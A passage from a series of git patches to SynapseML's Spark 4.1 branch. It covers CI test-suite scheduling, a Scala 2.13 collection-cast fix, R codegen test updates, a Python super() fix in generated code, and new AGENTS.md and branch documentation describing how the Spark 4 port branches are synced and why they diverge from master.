Spark 4 and would kill notebooks running concurrently. DatabricksUtilities excludes that notebook from all five parallel CPU partitions (CPUNotebooksParallel) and routes it solely through StreamingNotebooks, which only DatabricksCPUStreamingTests consumes. Because no pipeline leg claimed that class, the notebook has never actually been tested on the spark4.0 or spark4.1 branches. - pipeline.yaml: add a databricks-cpu-streaming matrix leg so the suite runs on its own cluster, matching the intent of the isolation comment. - PipelineTestCoverageSuite: exempt the suite from the UnitTests matrix check, since it runs in a dedicated stage exactly like DatabricksCPUTests1-5. The existing "nbtest.DatabricksCPUTests" prefix does not cover it, as DatabricksCPUStreamingTests does not start with that string. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../ml/core/test/pipeline/PipelineTestCoverageSuite.scala | 1 + pipeline.yaml | 4 ++++ 2 files changed, 5 insertions(+) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala index 0b2e370af65..454433546b8 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala @@ -25,6 +25,7 @@ class PipelineTestCoverageSuite extends AnyFunSuite { /** Suite name prefixes launched by their own pipeline stages rather than the UnitTests matrix. */ private val dedicatedStageSuites = Seq( "nbtest.DatabricksCPUTests", + "nbtest.DatabricksCPUStreamingTests", "nbtest.DatabricksGPUTests", "nbtest.DatabricksRapidsTests", "nbtest.SynapseTests", diff --git a/pipeline.yaml b/pipeline.yaml index 8a13d31ea9c..7aa8377bcd6 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -283,6 +283,10 @@ jobs: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests4" databricks-cpu-5: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests5" + # Runs on its own cluster: the streaming notebook's server.stop() cancels all + # SparkContext jobs on Spark 4, which would kill concurrently running notebooks. + databricks-cpu-streaming: + TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUStreamingTests" steps: - template: templates/databricks_e2e_steps.yml From 745b342b4886b2685ac68f51c9a78d8d8fe91135 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 00:41:35 -0700 Subject: [PATCH 77/93] fix: read collection service params as immutable under Scala 2.13 Spark hands back mutable collections for array and map columns (mutable.ArraySeq for arrays). Under Scala 2.13 the unqualified Seq and Map aliases denote scala.collection.immutable, so as soon as such a value reaches a call site typed as Seq or Map the compiler-inserted checkcast fails: java.lang.ClassCastException: class scala.collection.mutable.ArraySeq$ofRef cannot be cast to class scala.collection.immutable.Seq at ...services.translate.Translate.$anonfun$inputFunc$7(TextTranslator.scala:232) This is a latent runtime defect on the Spark 4 branches. The affected code is byte-identical to master, but master still compiles on Scala 2.12, where Seq is scala.collection.Seq and the cast succeeds. It reaches any service that binds a collection-typed ServiceParam to a column, which today spans nine services including Translate, Face, ComputerVision, TextAnalytics, AnalyzeText and AzureMaps. It went unnoticed because the branches had no offline request-building tests until this sync brought them over from master. Convert at the single point where row data enters, getValueOpt, rather than at each call site, so every current and future collection ServiceParam is covered. toIndexedSeq rather than toList preserves constant-time indexing for array-backed params. Verified by TextTranslatorCoreSuite and GeospatialCoreSuite, which fail before this change and pass after it, on both Spark 4.0 and Spark 4.1. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../synapse/ml/services/CognitiveServiceBase.scala | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala index 2b8f90549b0..536a5626b78 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala @@ -99,9 +99,18 @@ trait HasServiceParams extends Params { emptyParamData(row, p) } + // Spark returns mutable collections (e.g. mutable.ArraySeq) for array and map columns. Under + // Scala 2.13 the unqualified Seq and Map aliases denote the immutable variants, so letting a + // mutable value reach a call site typed as Seq or Map fails the checkcast at runtime. + private def asImmutableCollection(value: Any): Any = value match { + case s: scala.collection.Seq[_] if !s.isInstanceOf[scala.collection.immutable.Seq[_]] => s.toIndexedSeq + case m: scala.collection.Map[_, _] if !m.isInstanceOf[scala.collection.immutable.Map[_, _]] => m.toMap + case other => other + } + protected def getValueOpt[T](row: Row, p: ServiceParam[T]): Option[T] = { get(p).orElse(getDefault(p)).flatMap { - case Right(colName) => Option(row.getAs[T](colName)) + case Right(colName) => Option(row.getAs[Any](colName)).map(asImmutableCollection(_).asInstanceOf[T]) case Left(value) => Some(value) } } From 1af1e98ba57f34ea02ff60c7fb96e1e8aefc63aa Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 00:41:35 -0700 Subject: [PATCH 78/93] test: align imported R codegen expectations with sparklyr stage extraction VerifyModelParam and VerifyPipelineStageParams arrive from master and assert that rLoadLine emits ml_stages. This branch deliberately stopped emitting it: PipelineStageWrappable.rLoadLine extracts the stage with sparklyr:::new_ml_pipeline_stage(invoke(spark_jobj(x), "getStages")[[1]]), a change made to repair Spark 4.1 R CI and guarded by this branch's own RCodegenSuite, which asserts the new form is present and that ml_stages is not. Reverting the generator to satisfy the imported tests would reintroduce the R regression and fail RCodegenSuite, so update the imported expectations instead and record why, to keep a later sync from silently flipping them back. Only the spark4.1 branch is affected; spark4.0 still emits ml_stages, which is why these tests pass there unchanged. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../azure/synapse/ml/param/VerifyModelParam.scala | 4 +++- .../synapse/ml/param/VerifyPipelineStageParams.scala | 8 ++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala index 6723898d278..b209567d4b2 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala @@ -80,7 +80,9 @@ class VerifyModelParam extends TestBase { val rCode = holder.modelParam.rLoadLine(2) assert(rCode.contains("ml_load")) assert(rCode.contains("model-2.model")) - assert(rCode.contains("ml_stages")) + // Spark 4.1 extracts the stage via sparklyr internals instead of ml_stages; see RCodegenSuite. + assert(rCode.contains("new_ml_pipeline_stage")) + assert(rCode.contains("getStages")) } test("ModelParam can be cleared") { diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala index 2047cbde558..21dc403404e 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala @@ -61,7 +61,9 @@ class VerifyPipelineStageParams extends TestBase { assert(rCode.contains("model-1.model")) assert(rCode.contains("complexParams")) assert(rCode.contains("transformer")) - assert(rCode.contains("ml_stages")) + // Spark 4.1 extracts the stage via sparklyr internals instead of ml_stages; see RCodegenSuite. + assert(rCode.contains("new_ml_pipeline_stage")) + assert(rCode.contains("getStages")) } // EstimatorParam tests @@ -111,7 +113,9 @@ class VerifyPipelineStageParams extends TestBase { assert(rCode.contains("ml_load")) assert(rCode.contains("model-3.model")) assert(rCode.contains("pipelineStage")) - assert(rCode.contains("ml_stages")) + // Spark 4.1 extracts the stage via sparklyr internals instead of ml_stages; see RCodegenSuite. + assert(rCode.contains("new_ml_pipeline_stage")) + assert(rCode.contains("getStages")) } // PipelineStageWrappable trait tests From e12775982403a6941619fe9f29aa47f763f2571d Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 01:20:53 -0700 Subject: [PATCH 79/93] fix: record DatabricksCPUStreamingTests as unscheduled instead of adding a leg An earlier commit on this branch gave the suite its own databricks-cpu-streaming matrix leg. CI proved that does not work. The sixth concurrent cluster exhausts the instance pool, so DatabricksUtilities.areLibrariesInstalled never becomes true (101 retries on the spark4.1 run, the same on spark4.0), and in the one run that got past provisioning the notebook itself raised. Scheduling this suite needs pool capacity plus a working notebook, and neither belongs in a sync. So drop the leg. Also stop listing the suite under dedicatedStageSuites, which claimed it runs in a stage of its own and was simply untrue. Record it instead in a separate unscheduledSuites list whose comment states plainly that it has no leg, why DatabricksUtilities holds the notebook out of the parallel CPU partitions, and what wiring it up would take. Test coverage is unchanged from before this sync: the notebook has never run on these branches. What changes is that the gap is now explicit rather than silent, and the guard imported from master stays green without being lied to. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../pipeline/PipelineTestCoverageSuite.scala | 18 +++++++++++++++++- pipeline.yaml | 4 ---- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala index 454433546b8..1b593c49d35 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/pipeline/PipelineTestCoverageSuite.scala @@ -25,7 +25,6 @@ class PipelineTestCoverageSuite extends AnyFunSuite { /** Suite name prefixes launched by their own pipeline stages rather than the UnitTests matrix. */ private val dedicatedStageSuites = Seq( "nbtest.DatabricksCPUTests", - "nbtest.DatabricksCPUStreamingTests", "nbtest.DatabricksGPUTests", "nbtest.DatabricksRapidsTests", "nbtest.SynapseTests", @@ -35,6 +34,22 @@ class PipelineTestCoverageSuite extends AnyFunSuite { "nbtest.SynapseTestCleanup" ).map(suffix => s"$rootPackage.$suffix") + /** + * Suites that deliberately have no pipeline leg yet, listed here so the guard stays green + * without pretending they are covered. + * + * DatabricksCPUStreamingTests drives the "Deploying a Classifier" notebook, which + * DatabricksUtilities keeps out of the parallel CPU partitions because its server.stop() + * cancels every SparkContext job on Spark 4 and would kill notebooks sharing the cluster. + * Giving it a matrix leg of its own was tried and does not work yet: the extra concurrent + * cluster exhausts the instance pool so its libraries never finish installing, and the + * notebook itself still errors. Scheduling it needs pool capacity plus a notebook fix, + * neither of which belongs in a branch sync. + */ + private val unscheduledSuites = Seq( + "nbtest.DatabricksCPUStreamingTests" + ).map(suffix => s"$rootPackage.$suffix") + /** * ScalaTest entry points. Anything extending these, directly or transitively, is a suite. * The `*Like` traits are separate entry points, not subtypes of the classes, so both spellings @@ -164,6 +179,7 @@ class PipelineTestCoverageSuite extends AnyFunSuite { val orphans = discovered .filterNot { case (fqcn, _) => dedicatedStageSuites.exists(fqcn.startsWith) } + .filterNot { case (fqcn, _) => unscheduledSuites.exists(fqcn.startsWith) } .filterNot { case (fqcn, _) => isCovered(fqcn, specs) } .map { case (fqcn, fileName) => s"$fqcn ($fileName)" } .sorted diff --git a/pipeline.yaml b/pipeline.yaml index 7aa8377bcd6..8a13d31ea9c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -283,10 +283,6 @@ jobs: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests4" databricks-cpu-5: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests5" - # Runs on its own cluster: the streaming notebook's server.stop() cancels all - # SparkContext jobs on Spark 4, which would kill concurrently running notebooks. - databricks-cpu-streaming: - TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUStreamingTests" steps: - template: templates/databricks_e2e_steps.yml From aa6056adfcc4e9222fba0a0cdbb091a7e431b7e5 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 14:34:53 -0700 Subject: [PATCH 80/93] fix: bind generated OpenAIPrompt overrides via MRO instead of a hardcoded class name The `clear` and `copy` overrides emitted by OpenAIPromptPythonOverrides referenced `super(OpenAIPrompt, self)`. That name only exists when codegen emits the wrapper as `OpenAIPrompt`; on the Spark 4 branches OpenAIPrompt sets `pyInternalWrapper = true`, so the generated class is `_OpenAIPrompt` and the hand-written subclass supplies `OpenAIPrompt`. The hardcoded name is therefore unresolvable inside the generated module and every call raised: NameError: name 'OpenAIPrompt' is not defined _OpenAIPrompt.py: return super(OpenAIPrompt, self).clear(param) This failed `PythonTests cognitive` on both Spark 4 branches: test_clear_does_not_leave_eager_java_state test_copy_preserves_explicit_mode_provenance Use the zero-argument `super()` form, which resolves through the MRO from whichever class lexically encloses the method. This matches the existing convention in the codebase -- CognitiveServiceBase already emits `super()._transform(dataset)`, and Wrappable interpolates the real `$pyClassName` rather than hardcoding one. The two forms are equivalent under master's layout (no subclass, generated class literally named `OpenAIPrompt`), so this is behaviour-preserving there and fixes the internal-wrapper layout. Verified against both class shapes: generated `_OpenAIPrompt` + subclass, old form -> NameError (reproduces CI) generated `_OpenAIPrompt` + subclass, new form -> resolves correctly master shape, old form -> resolves correctly master shape, new form -> resolves correctly No Scala test asserts on the old template text. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../ml/services/openai/OpenAIPromptPythonOverrides.scala | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala index 2168628eec8..d7d58beefa6 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala @@ -237,12 +237,12 @@ private[openai] object OpenAIPromptPythonOverrides { |def clear(self, param): | if param == self.postProcessing: | self._post_processing_explicitly_set = False - | return super(OpenAIPrompt, self).clear(param) + | return super().clear(param) | |def copy(self, extra=None): | if extra is None: | extra = {} - | result = super(OpenAIPrompt, self).copy(extra) + | result = super().copy(extra) | result._post_processing_explicitly_set = ( | self._post_processing_explicitly_set | or self.postProcessing in extra From 3ec469949f8ce349a8117fa6bb0d6686314744e5 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 15:35:02 -0700 Subject: [PATCH 81/93] docs: add a branch model to AGENTS.md/CONTRIBUTING and record this branch's divergence Nothing in this repository explained why the Spark 4 branches differ from master. The knowledge existed only in commit messages and in the heads of whoever last resolved a sync conflict, so each sync re-derived it -- and a "cleanup" that reverted a deliberate divergence looked, in the diff, exactly like a tidy-up. Three files, with a deliberate split: - `AGENTS.md` (new, shared) -- the branch model, the rule for resolving sync conflicts, and the point that commit reachability does not prove a sync landed: a conflict resolution can discard master's side while leaving the merge commit in place, so content has to be compared directly. - `CONTRIBUTING.md` (shared) -- a short section telling contributors which branch to target, and to land shared fixes on master first so the port branches inherit them instead of conflicting. - `AGENTS_spark4.1.md` (new, this branch only) -- the actual divergence record. `AGENTS.md` and `CONTRIBUTING.md` here are byte-identical to the copies on `spark4.0` and to the pair proposed for `master`, and are deliberately free of version numbers so they stay that way. Identical content means syncing them is a no-op rather than a recurring conflict; the tell that something belongs in the branch file instead is wanting to write a version number in the shared one. `AGENTS_spark4.1.md` records the Python 3.13 dependency consequences (including why `numpy` must stay unpinned), the petastorm and horovod cloudpickle shims, the Scala 2.13 mutable-collection hazard, the Spark 4 SAR and NaN behaviour changes, the relocated `LongOffset` import, why `pyInternalWrapper` forces zero-argument `super()` in generated Python, the `__init__.py` policy, both R changes and the `RCodegenSuite` that guards them, and the shared GPU pool that makes concurrent Spark 4 builds fail on capacity rather than code. It also inverts the framing used on `spark4.0`. That branch's file says "check spark4.1 first"; this one says "ask whether spark4.0 needs this too", because this branch descends from that one's upgrade commit and is the more actively maintained of the pair. Most fixes here are Spark-4-generic and back-port as the same patch with versions substituted, so the file lists the four things that are genuinely 4.1-only and states that everything else is a back-port candidate. The Fabric section corrects something stale. `FabricE2E` is disabled with a comment saying Fabric's managed runtime "does not yet support Spark 4.1 binaries", but Fabric Runtime 2.0 has since reached general availability on Apache Spark 4.1 -- which makes this the one Spark 4 branch Fabric can host, and makes the disabled job real lost coverage rather than an unavoidable skip. The file records the concrete blocker found while checking: `FabricOperations.scala` hardcodes `'SparkVersion': '3.5'` in the workspace-creation payload, so flipping the pipeline condition alone would provision a 3.5 workspace and fail. Enabling it is left as its own PR, because the only real test is a pipeline run against live Fabric capacity and that should not be able to block an unrelated sync. Adding the file surfaced a second bug. `.gitignore` has ignored `AGENTS.md` and `.agents/` since b76c391be4, the Spark 4.0 upgrade commit this branch inherits from; master ignores neither, so this was never an upstream policy, just local scratch-file housekeeping that rode along with the port. The failure mode is the bad kind: `git add AGENTS.md` prints a hint and exits zero, so the file is simply absent from the commit. The `.agents/` rule is worse -- that directory holds tracked repo content, and any *new* file added under it is silently dropped. Both rules are removed. `.agent/` and `.anvil/` stay: those are genuinely local tool directories with nothing tracked under them. Branch-file references in the shared files are written as plain code spans rather than links, so that this text stays valid on master where those files do not exist. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/copilot-instructions.md | 3 + .gitignore | 2 - AGENTS.md | 103 +++++++++++++++ AGENTS_spark4.1.md | 225 ++++++++++++++++++++++++++++++++ CONTRIBUTING.md | 21 +++ 5 files changed, 352 insertions(+), 2 deletions(-) create mode 100644 AGENTS.md create mode 100644 AGENTS_spark4.1.md diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index ba880532e92..cf659a80383 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -167,6 +167,9 @@ Python files use the same copyright comment: SynapseML uses **sbt** (not Maven or Gradle). Spark 4.1.1, Scala 2.13.17. +> This is the `spark4.1` branch. See [AGENTS_spark4.1.md](../AGENTS_spark4.1.md) +> for what diverges here and why before changing anything. + ### Essential Commands ```bash diff --git a/.gitignore b/.gitignore index 0ece5fc4d30..88d91adf650 100644 --- a/.gitignore +++ b/.gitignore @@ -103,7 +103,5 @@ mlflow-save-model-0/ # Agent .agent/ -.agents/ -AGENTS.md .anvil/ .hypothesis/ diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 00000000000..70b5a4e4e4f --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,103 @@ +# AGENTS.md + +Entry point for coding agents working in this repository. Humans should start +with [CONTRIBUTING.md](CONTRIBUTING.md). + +## Read this first + +1. **This file** — how the repository is branched and which rules are universal. +2. **`AGENTS_.md`** — if you are on any branch other than `master`, read + it before changing anything. It records what diverges on that branch and why. +3. [`.github/copilot-instructions.md`](.github/copilot-instructions.md) — + architecture, the code generation pipeline, Scala patterns, and style rules. + +## Branch model + +| Branch | Purpose | +| --- | --- | +| `master` | Mainline. The Spark 3.x line, and the source of truth for everything not version-specific. | +| `spark4.0` | Spark 4.0 port. See `AGENTS_spark4.0.md`. | +| `spark4.1` | Spark 4.1 port. See `AGENTS_spark4.1.md`. | + +Target `master` for ordinary work. Target a `spark4.x` branch only for changes +that exist *because of* that Spark version. + +### Where instructions live + +This file and `CONTRIBUTING.md` are meant to be **byte-identical on every +branch**, so they must stay free of version-specific facts — no Spark, Scala, +Java, or Python version numbers, and no paths containing a Scala version such as +`target/scala-/`. Anything version-specific belongs in +`AGENTS_.md`. + +If you find yourself wanting to add a version number here, that is the signal +that it belongs in the branch file instead. + +Keeping the shared files identical is not just tidiness: it means a +`master` → branch sync merges them cleanly instead of producing a conflict that +someone has to resolve by hand on every sync. + +## Syncing master into a Spark 4 branch + +These branches are kept current by **merging** `master` in, not by rebasing. +Rebasing discards the accumulated conflict resolutions, which are the real +content of these branches. + +The governing rule when resolving a conflict: + +- Keep the branch's side where the difference exists **because of** the version + upgrade. +- Take master's side otherwise. +- **Combine** where both sides changed for different reasons. This is the case + people get wrong most often — a file can carry both a master bugfix and a + branch-specific adaptation, and taking either side wholesale silently drops + the other. + +To tell which case you are in for a file, compare three versions: the merge +base, master, and the branch. If `git diff master -- ` is +empty, master never touched it and the divergence is deliberate branch work. + +### Verifying a sync actually landed + +Commit reachability is **not** sufficient evidence. `git log master ^` +being empty only proves the commits are ancestors; a conflict resolution can +still have discarded master's side while leaving the merge commit in place. + +Check content instead: for each file master changed, confirm the lines master +added are present in the branch, then classify every difference as either an +intended version-driven divergence or a dropped change. Expect a large number of +legitimate hits — record why each one is intentional rather than skimming past +it. + +## Rules that apply on every branch + +- **Python wrappers are generated from Scala.** To change a feature, change the + Scala source. Never edit generated output under a module's `target/` + directory; it is overwritten on every build. +- Hand-written Python under `src/main/python/` is only for genuine overrides. + Do not add an `__init__.py` that re-lists classes codegen already exports — + codegen emits `import *` for every generated module, and a hand-maintained + list goes stale silently. See `AGENTS_spark4.0.md` for a worked example of + this breaking CI. +- A new Scala stage needs `Wrappable` (or it gets no Python wrapper), + `SynapseMLLogging` with a `logClass` call, and a companion object extending + `DefaultParamsReadable` (or model loading fails). +- Scalastyle enforces the Microsoft copyright header, a 120-column limit, and + an 800-line file limit. +- Python is formatted with **black pinned to 22.3.0**. A newer black reports + spurious failures. +- Use the DataFrame/Dataset API. Do not introduce RDD-based code — beyond style, + it does not work under Spark Connect or Databricks Unity Catalog standard and + serverless modes. + +## Working effectively + +- Prefer measuring over asserting. Where a claim can be checked with a command, + check it, and prefer the smallest command that covers the change. +- Sanity-check negative results before trusting them. A search that returns + nothing because a tool is missing looks exactly like a search that returns + nothing because the thing is absent; confirm with a case you know should + match. +- Record *why* a divergence exists at the point it is introduced — in a comment + next to the change and, if it is durable, in `AGENTS_.md`. A pin with + no rationale gets "helpfully" reverted by the next sync. diff --git a/AGENTS_spark4.1.md b/AGENTS_spark4.1.md new file mode 100644 index 00000000000..adff81c20f2 --- /dev/null +++ b/AGENTS_spark4.1.md @@ -0,0 +1,225 @@ +# AGENTS_spark4.1.md + +Branch-specific context for `spark4.1`. Read [AGENTS.md](AGENTS.md) first for the +branch model and sync rules that apply everywhere. + +## What this branch is + +A port of SynapseML to Spark 4.1. It exists so the library can run on runtimes +that have moved past Spark 3.x; it is not a feature branch. Features and fixes +land on `master` and arrive here when `master` is merged in. + +| | | +| --- | --- | +| Spark | 4.1.1 | +| Scala | 2.13.17 | +| Java | 17 | +| Python | 3.13 | +| Databricks runtime | `18.0.x-scala2.13`, GPU `18.0.x-gpu-ml-scala2.13` | +| Generated Python | `target/scala-2.13/generated/src/python/` | + +This branch is the more actively maintained of the two Spark 4 branches, and it +descends from `spark4.0`'s upgrade commit. In practice that makes it the +reference: when `spark4.0` hits a problem, the fix usually already exists here. + +**So when you fix something here, ask whether `spark4.0` needs it too.** Most +fixes on this branch are Spark-4-generic rather than 4.1-specific, and the +back-port is normally the same patch with version strings substituted. The +exceptions are listed under "Do not port to spark4.0". + +```bash +git diff spark4.0 spark4.1 -- +``` + +## Why things differ from master + +### Toolchain and dependencies + +`environment.yml` targets Python 3.13, which forces several changes away from +master's pins: + +- **`numpy` is intentionally left unpinned.** Master pins `numpy==1.26.4`, which + has no Python 3.13 wheels. The comment above it says so — keep the comment; + it is what stops a future sync from "restoring" master's pin. +- `pip`, `pyarrow`, `torch`/`torchvision` and the `pandas`/`horovod` wheel URLs + are moved forward to releases that publish cp313 artifacts. + +Each pin carries a comment explaining it. Preserve those comments through syncs. + +`tools/docker/*/Dockerfile` set `JAVA_HOME` to Java 17. +`.github/workflows/pr-validation.yml` uses JDK 17. + +`pipeline.yaml` drops master's `-XX:+UseConcMarkSweepGC +-XX:+CMSClassUnloadingEnabled` from `SBT_OPTS`. CMS was removed in Java 17 and +the JVM refuses to start with those flags. + +### Python 3.13 runtime shims + +`deep-learning/.../dl/_petastorm_compat.py` and the +`_serialize_petastorm_compatibility()` path in `_horovod.py` work around +cloudpickle/petastorm breakage under Python 3.13. These exist **only** because of +the interpreter version — see "Do not port to spark4.0". + +### Scala 2.13 + +Scala 2.13 changed how `Seq` is interpreted. Code that produced a +`mutable.ArraySeq` where an `immutable.Seq` is expected throws +`ClassCastException` at runtime, not compile time. `CognitiveServiceBase.getValueOpt` +converts centrally via `asImmutableCollection` (using `toIndexedSeq`, which keeps +O(1) indexing) rather than patching each affected service individually. + +### Spark 4 behaviour changes + +- **SAR** (`SAR.scala`, `SARModel.scala`): Spark 4 rejects the previous + `Seq[Row]` UDF shape with an `UnboundRowEncoder` error, so the affinity pairs + use a named `case class` with explicit struct fields. Separately, a self-join + now trips `DetectAmbiguousSelfJoin`, so the join column is qualified + (`col("sarUserFactors.flatList")`). +- **`Wrappable.safeGetDefault`**: Spark 4's `getDefault` throws where Spark 3 + returned a default, so lookups go through a guarded helper. +- **`VerifyTrainClassifier`**: the vector-column fixture no longer feeds + `Double.NaN` to the trainer. Spark 4 does not tolerate a NaN feature reaching + logistic regression the way 3.5 did. The test is about training on a vector + column, not about NaN, so the value was replaced rather than the test weakened. + +### Spark 4.1 specifically + +`LongOffset` moved to `org.apache.spark.sql.execution.streaming.runtime`. +`HTTPSource.scala` and `DistributedHTTPSource.scala` import it from there. This +is the one import that is genuinely 4.1-only — on Spark 4.0 it is still in +`...streaming` and this import does not compile. + +### Code generation + +`OpenAIPrompt` sets `pyInternalWrapper = true` on this branch, so codegen emits +`class _OpenAIPrompt` and a hand-written `OpenAIPrompt.py` supplies the public +name. Any Python emitted into that class must therefore use **zero-argument +`super()`**; a hardcoded `super(OpenAIPrompt, self)` raises `NameError` because +that name does not exist inside the generated module. See +`OpenAIPromptPythonOverrides.scala`. + +### Hand-written `__init__.py` files + +`PythonInitMerger` arrived from master and **preserves** hand-written +`__init__.py` content by splicing it *after* the generated imports. Previously +codegen overwrote these files, so their contents were inert. They are now live +code in the shipped package, and a stale one is a real bug. + +Current policy on this branch: + +| Path | State | Why | +| --- | --- | --- | +| `core/.../io/http/__init__.py` | **must stay empty** | It listed `HTTPFunctions` and `ServingFunctions`, which are modules of free functions with no same-named class. The import failed, breaking `PythonTests core` and seven website-sample docs. | +| `vw/`, `services/openai/` | **removed** | Duplicated what codegen already emits, and redefined `__all__`, narrowing `import *` to a hand-maintained list. | +| `recommendation/`, `dl/`, `hf/`, `cognitive/`, `mmlspark/` | kept | These add exports codegen does not emit. | + +Do not add new `__init__.py` files that re-list generated classes. +`test_http_package.py` and `test_package_exports.py` guard this. + +### R tests + +Two changes, both required: + +- `RTestGen.scala` sets `spark.sql.ansi.enabled=true` and + `spark.sql.ansi.doubleQuotedIdentifiers=true`. sparklyr emits + `SELECT 0L AS "class", ...`; without the second flag Spark 4 reads `"class"` + as a string literal and fails with `PARSE_SYNTAX_ERROR`. +- The `PipelineStageWrappable` trait generates + `sparklyr:::new_ml_pipeline_stage(invoke(spark_jobj(x), "getStages")[[1]])` + instead of `ml_stages(x)[[1]]`. The per-type overrides in `EstimatorParam.scala`, + `PipelineStageParam.scala` and `TransformerParam.scala` became redundant and + were removed. `r-sparklyr` is pinned to 1.9.5. + +`RCodegenSuite.scala` asserts the generated R directly, so a regression in the +above is caught at unit-test time rather than in the much slower `RTests` leg. +This file does not exist on `spark4.0`. + +### Databricks + +CPU pool `synapseml-build-18.0`; GPU pool `synapseml-build-14.3-gpu`, which is +**shared with `master` and `spark4.0`**. Instance pools are runtime-agnostic, so +sharing avoids duplicating scarce GPU quota — but the pool holds three workers +(`GpuWorkersPerRun` 1 x `GpuConcurrentRuns` 3), so two builds running +concurrently exhaust it and fail with `areLibrariesInstalled == false`. + +Queue Spark 4 branch builds **sequentially**. A Databricks failure during +overlapping builds is usually capacity, not code — confirm by re-running alone +before investigating. + +`DatabricksCPUStreamingTests` is recorded as unscheduled rather than given a CI +leg; it needs both pool capacity and a notebook fix. + +### Fabric E2E is disabled — and the reason is now out of date + +`FabricE2E` is `condition: false`, with a comment saying Fabric's managed runtime +"does not yet support Spark 4.1 binaries". **That is no longer true.** Fabric +Runtime 2.0 reached general availability on Apache Spark **4.1** (Scala 2.13, +Python 3.13, Java 21, Delta 4.x). This branch is therefore the one Spark 4 branch +that Fabric can actually host, and the disabled job is real lost coverage. + +Re-enabling is not a one-line change. It needs: + +1. `core/src/test/scala/.../fabric/FabricOperations.scala` — the workspace + creation payload hardcodes `'SparkVersion': '3.5'`. It must request `'4.1'`. + This is hardcoded on all three branches, so master is unaffected by changing + it here. +2. `pipeline.yaml` — restore + `condition: and(succeeded(), eq('${{ parameters.testFabricE2E }}', true))` + and drop the stale comment. +3. A Fabric capacity in the `sempy-integration-region` that can provision + Runtime 2.0 workspaces. + +Step 3 cannot be verified from a development machine — it needs live Fabric +capacity and the `SynapseML Build` service connection. Do this as its own PR +where the pipeline run *is* the test, not as part of a sync PR, so that a Fabric +provisioning failure does not block an unrelated merge. + +Note that the equivalent section in `AGENTS_spark4.0.md` reaches the opposite +conclusion, correctly: there is no Fabric runtime on Spark 4.0, so it stays +disabled there. + +## Do not port to spark4.0 + +- **`LongOffset` import** — 4.0 still has it in `...streaming`; 4.1's import does + not compile there. +- **petastorm / horovod cloudpickle shims** — Python 3.13 workarounds. + `spark4.0` is on 3.12 and its deep-learning tests pass without them. +- **`numpy` left unpinned** — on `spark4.0`, `numpy==1.26.4` both has cp312 + wheels and stays below the NumPy 2.0 ABI break that `pandas` 2.0.3 cannot + tolerate, so 